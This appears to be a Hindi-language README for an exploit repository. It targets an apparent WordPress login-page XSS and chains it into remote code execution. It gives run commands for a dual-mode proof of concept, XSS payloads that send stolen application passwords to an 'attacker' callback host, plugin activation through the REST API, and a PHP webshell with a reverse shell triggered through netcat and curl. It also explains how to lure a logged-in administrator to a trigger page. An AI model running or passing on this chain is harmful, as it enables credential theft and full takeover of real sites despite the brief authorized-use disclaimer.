
CVE-2026-64638 — वर्डप्रेस प्री-ऑथ रिफ्लेक्टेड XSS → DOM क्लोबरिंग + एप्लिकेशन पासवर्ड चोरी + REST API प्लगिन सक्रियण के माध्यम से RCE। डुअल-मोड PoC (XSS श्रृंखला और प्रत्यक्ष)।
WordPress प्री-ऑथ रिफ्लेक्टेड XSS → रिमोट कोड एक्सेक्यूशन चेन
DOM क्लोबरिंग + एप्लिकेशन पासवर्ड चोरी + REST API प्लगइन सक्रियण = पूर्ण RCE
CVE-2026-64638, WordPress के wp-login.php में एक गंभीर प्री-ऑथेंटिकेशन रिफ्लेक्टेड XSS है। यह भेद्यता इसलिए मौजूद है क्योंकि लॉगिन त्रुटि संदेश प्रस्तुत किए गए उपयोगकर्ता नाम को उचित HTML एन्कोडिंग के बिना रिफ्लेक्ट करता है, जिससे <area id=ajaxurl> के माध्यम से DOM क्लोबरिंग करके अधिकांश फ़िल्टर को बायपास किया जा सकता है।
जब इसे WordPress की एप्लिकेशन पासवर्ड सुविधा के साथ जोड़ा जाता है, तो यह XSS एक पूर्ण रिमोट कोड एक्सेक्यूशन वेक्टर बन जाता है — लॉग इन रहते हुए एक निर्मित ट्रिगर पेज पर जाने के अलावा शून्य उपयोगकर्ता इंटरेक्शन की आवश्यकता होती है।
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
| संस्करण | स्थिति | टिप्पणी |
|---|---|---|
| WordPress ≤ 6.9.5 | ✅ असुरक्षित | बैकपोर्ट-पूर्व Docker इमेज अभी भी एक्सप्लॉइट करने योग्य हैं |
| WordPress 6.9.6+ | ⚠️ पैच किया गया (7 अगस्त 2026 बैकपोर्ट) | 7 अगस्त के बाद पुनर्निर्मित Docker इमेज में फिक्स है |
| WordPress 7.0.x | ✅ असुरक्षित | 7.0.2 पर पुष्टि की गई |
| WordPress 7.1+ | ❓ अज्ञात | परीक्षण नहीं किया गया |
pip3 install requests
बस इतना ही। बाकी सब कुछ Python 3.8+ की मानक लाइब्रेरी से चलता है।
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
पीड़ित को एक व्यवस्थापक के रूप में WordPress में लॉग इन होना चाहिए। ट्रिगर पेज:
wp-login.php पर XSS पेलोड को स्वतः सबमिट करता हैauthorize-application.php खोलता हैpython3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
डायरेक्ट लॉगिन → प्लगइन अपलोड → तत्काल वेबशेल। कोई XSS आवश्यक नहीं।
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
या मैन्युअली वेबशेल के माध्यम से:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
यह क्यों काम करता है:
sanitize_user() मानक HTML टैग हटा देता है, लेकिन अग्रणी स्पेस वाले <area> को अनदेखा कर देता है<area id=ajaxurl> DOM क्लोबरिंग करता है — यह wp-admin JavaScript द्वारा उपयोग किए जाने वाले window.ajaxurl को हाईजैक कर लेता हैwp_auth_check इंटरवल ट्रिगर होता है और XSS पीड़ित को authorize-application.php पर रिडायरेक्ट कर देता हैsuccess_url पैरामीटर जनरेट किए गए पासवर्ड को हमलावर के कॉलबैक सर्वर पर भेजता हैएक बार एप्लिकेशन पासवर्ड कैप्चर हो जाने पर:
/wp-json/wp/v2/ के विरुद्ध पीड़ित के रूप में प्रमाणित करेंPOST /wp-json/wp/v2/plugins/{slug} को {"status":"active"} के साथ भेजेंwp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND तक पहुँचें?rev=IP:PORT हमलावर के पास वापस /bin/sh -i स्पॉन करता है| लक्ष्य | संस्करण | मोड | परिणाम |
|---|---|---|---|
| डॉकर (लोकल) | WordPress 7.0.2 | XSS चेन | ✅ www-data के रूप में RCE |
| डॉकर (लोकल) | WordPress 7.0.2 | डायरेक्ट | ✅ www-data के रूप में RCE |
| डॉकर (लोकल) | WordPress 6.7 | XSS चेन | ✅ www-data के रूप में RCE |
यह टूल केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए है। दुरुपयोग के लिए लेखक कोई ज़िम्मेदारी नहीं लेते हैं। परीक्षण से पहले हमेशा लिखित अनुमति प्राप्त करें।
"कोई एक्सप्लॉइट नहीं, कोई रिपोर्ट नहीं।" — शैनन पद्धति